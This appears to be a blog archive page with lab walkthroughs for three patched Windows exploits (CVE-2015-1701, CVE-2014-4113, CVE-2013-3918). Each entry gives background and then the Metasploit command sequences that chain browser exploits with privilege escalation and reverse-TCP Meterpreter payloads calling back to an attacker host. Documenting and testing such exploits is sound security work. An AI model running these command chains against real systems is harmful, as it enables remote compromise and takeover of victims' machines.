Tag Archives: Windows 0day

CVE-2015-1701 Windows ClientCopyImage Win32k Exploit

Exploits, Metasploit, , , ,

Timeline :

Vulnerability discovered exploited in the wild by FireEye the 2015-04-13
Patch provided by the vendor via MS15-051 the 2015-05-12
PoC provided by hfiref0x the 2015-05-12
Metasploit PoC provided the 2015-06-03

PoC provided by :

Unknown
hfirefox
OJ Reeves
Spencer McIntyre

Reference(s) :

CVE-2015-1701
MS15-051

Affected version(s) :

Windows Server 2003 Service Pack 2
Windows Vista Service Pack 2
Windows Server 2008 Service Pack 2
Windows 7 Service Pack 1

Tested on :

Windows 7 SP1 (64-bit), IE8 and Adobe Flash 17.0.0.188 (CVE-2015-3105) for remote exploitation

Description :

This module exploits improper object handling in the win32k.sys kernel mode driver. This module has been tested on vulnerable builds of Windows 7 x64 and x86, and Windows 2008 R2 SP1 x64.

Commands :

Remote exploitation
use exploit/multi/browser/adobe_flash_shader_drawing_fill
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid

Local privileges escalation
use exploit/windows/local/ms15_051_client_copy_image
set PAYLOAD windows/meterpreter/reverse_tcp
set LPORT 4445
set SESSION 1
run

getuid

CVE-2014-4113 Windows TrackPopupMenu Win32k NULL Pointer Dereference

Exploits, Metasploit, , , ,

Timeline :

Vulnerability discovered exploited in the wild
Patched by the vendor via MS14-058 the 2014–10-14
Metasploit PoC provided the 2014–10-24

PoC provided by :

Unknown
juan vazquez
Spencer McIntyre
OJ Reeves

Reference(s) :

CVE-2014-4113
BID-70364
MS14-058

Affected version(s) :

Windows Server 2003
Windows Vista
Windows Server 2008
Windows 7
Windows Server 2008 R2
Windows 8 and Windows 8.1
Windows Server 2012 and Windows Server 2012 R2
Windows RT and Windows RT 8.1

Tested on :

on Windows 7 SP1 in combination with CVE-2014-8440 (Adobe Flash Player UncompressViaZlibVariant Uninitialized Memory) vulnerability

Description :

This module exploits a NULL Pointer Dereference in win32k.sys, the vulnerability can be triggered through the use of TrackPopupMenu. Under special conditions, the NULL pointer dereference can be abused on xxxSendMessageTimeout to achieve arbitrary code execution. This module has been tested successfully on Windows XP SP3, Windows 2003 SP2, Windows 7 SP1 and Windows 2008 32bits. Also on Windows 7 SP1 and Windows 2008 R2 SP1 64 bits.

Commands :

use exploit/windows/browser/adobe_flash_uncompress_zlib_uninitialized
set SRVHOST 192.168.6.138
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
run

getuid
sysinfo

use exploit/windows/local/ms14_058_track_popup_menu
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
set LPORT 4445
set SESSION 1
run

getuid
sysinfo

CVE-2013-3918 CardSpaceClaimCollection ActiveX Integer Underflow

Exploits, Metasploit, , , ,

Timeline :

Vulnerability discovered exploited in the wild
Patched by the vendor via MS13-090 the 2013-11-12
Metasploit PoC provided the 2013-11-15

PoC provided by :

Unknown
juan vazquez

Reference(s) :

CVE-2013-3918
BID-63631
MS13-090

Affected version(s) :

Windows XP SP3, Windows Vista SP2, Windows 7 SP1, Windows 8 and 8.1

Tested on :

with Internet Explorer 8 on Windows XP SP3

Description :

This module exploits a vulnerability on the CardSpaceClaimCollection class from the icardie.dll ActiveX control. The vulnerability exists while the handling of the CardSpaceClaimCollection object. CardSpaceClaimCollections stores a collection of elements on a SafeArray and keeps a size field, counting the number of elements on the collection. By calling the remove() method on an empty CardSpaceClaimCollection it is possible to underflow the length field, storing a negative integer. Later, a call to the add() method will use the corrupted length field to compute the address where write into the SafeArray data, allowing to corrupt memory with a pointer to controlled contents. This module achieves code execution by using VBScript as discovered in the wild on November 2013 to (1) create an array of html OBJECT elements, (2) create holes, (3) create a CardSpaceClaimCollection whose SafeArray data will reuse one of the holes, (4) corrupt one of the legit OBJECT elements with the described integer overflow and (5) achieve code execution by forcing the use of the corrupted OBJECT.

Commands :

use exploit/windows/browser/ms13_090_cardspacesigninhelper
set RHOST 192.168.6.143
set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 192.168.6.138
exploit

getuid
sysinfo